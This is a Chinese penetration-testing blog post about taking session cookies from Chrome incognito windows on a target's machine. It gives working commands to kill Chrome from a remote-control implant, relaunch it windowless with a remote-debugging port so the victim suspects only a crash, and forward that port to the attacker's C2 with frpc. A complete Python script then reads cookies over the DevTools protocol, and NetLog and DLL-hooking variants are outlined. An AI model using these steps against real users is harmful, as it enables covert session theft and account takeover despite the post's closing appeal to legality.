1. 首页
  2. 渗透测试

无痕浏览器也许“并不能”保护你的隐私

遇到的问题

在某些工作需求中,需要获取用户当前浏览器中的Cookies。由于目标比较严谨,使用了chrome浏览器的无痕模式,因此无法通过复制cookies文件解密的方式获取明文cookie。

那么,隐私模式真的可以保护你的cookie了吗?

Chrome架构

Chrome浏览器是多进程架构,有三种进程–浏览器、渲染器和插件。这也是为什么打开浏览器后默认就有6个进程的原因。
image.png

如果想详细了解架构可以参考下面提供的链接,简单来说就是Chrome会启动一个叫做“浏览器”的主进程,其余的“渲染器”进程就是每一个标签页。(这里简单理解一下,后面会利用到这个技术)
image.png

参考

Google 图解这个系列文章挺好的建议读一读。
Google 图解:Chrome 快是有原因的,科普浏览器架构
一种多核浏览器中进程复用的方法及其多核浏览器

方案一:remote debug

chrome内核的浏览器支持远程调试,但是仅支持本地访问(localhost:9222)。通过--remote-debugging-port=9222参数指定端口启动chrome内核浏览器,即可通过localhost:9222页面同步其他浏览进程。

由于chrome内核的浏览器是多进程架构,只有一个浏览器主进程,其余的都是渲染器插件等进程,因此只要第一个启动的进程是通过remot debug方式启动,后面的一切新的标签都会被调试模式记录,重点是包括隐私窗口!

image.png
image.png
image.png
自动化获取指定网站cookie
image.png
简单说一下怎么利用,首先要通过你的远控kill掉所有的chrome进程,并通过命令行启动一个无窗口debug模式的浏览器。目标顶多会以为浏览器bug闪退,并且无弹窗不会引起怀疑。下面是一些用的到的命令。

$ wmic process where name="chrome.exe" get executablepath
获取chrome浏览器所在目录
$ taskkill /f /im chrome.exe && chrome.exe --remote-debugging-port=xxxx --no-startup-window
kill掉所有chrome进程,并重新启动无窗口浏览器。利用命令一中获取的路径执行启动命令
$ frpc.exe
端口转发到外网,剩下的就是利用脚本读取指定网站cookie(换成自己c2的ip和端口)。python3 cookies.py localhost:9222

读cookies的脚本源码

import websockets
import asyncio
import requests
import json
from sys import argv

async def getCookies(uri):
    data = {"id": 1, "method": "Network.getCookies"}
    command = json.dumps(data)
    async with websockets.connect(uri) as websocket:
        await websocket.send(command)
        res = await websocket.recv()
        print(f" {res}")

def getUri(url):
    rep = requests.get(url)
    dic = json.loads(rep.text)
    res = {}
    for i in range(len(dic)):
        title = dic[i]['title']
        wsuri = dic[i]['webSocketDebuggerUrl']
        res[str(i)] = wsuri
        print(str(i)+". "+title)
    return res

def main(uri):
    while 1:
        cmd = input("> ")
        if cmd=="quit":
            break
        asyncio.get_event_loop().run_until_complete(getCookies(uri[cmd]))



if __name__ == '__main__':
    url = "http://"+argv[1]+"/json"
    uri = getUri(url)
    main(uri)

参考

Stealing Chrome Cookies
Chrome DevTools

方案二:NetLog

这个也是一个不错的方案,但是我并没有解决无窗口模式的问题,所以容易引起警觉,因此简单说聊一下,具体可以看参考文章。
同样需要先k掉chrome进程,通过命令行指定参数 --log-net-log="C:1.json",利用NetLog Viewer导入json,读取cookie。

参考

使用 Chrome NetLog 解析隱藏在 DevTools 中的 Header 資訊

方案三:DLL注入HOOK

同事也在研究的一个思路,同时某位表哥也给了我同样的思路。由于这部分的技术本人还很欠缺,因此不过多研究了。大致的思路是,HOOK某函数在浏览器https加密之前,获取明文cookie。希望后面可以填坑。

适用性

所有Chrome内核浏览器皆适用,比如最新的edge,360Chrome等等 : )。想测的话,可以自己测一下。

最终

感谢提供netlog和dll注入思路的表哥,虽然最后一种还在研究中,但学习到了很多。前两种方式也不过是临时方案,方案三才是长久之计。这篇文章只是聊一个思路,给和我同样在某些取证环节需要此方法的人,毕竟大部分同行的工作并不需要这么做。所以按需阅读,谢谢。最后,请遵守法律!

原创文章,作者:s1ye,未经授权禁止转载!如若转载,请联系作者:s1ye

发表评论

电子邮件地址不会被公开。 必填项已用*标注

联系我们

在线咨询:点击这里给我发消息

QR code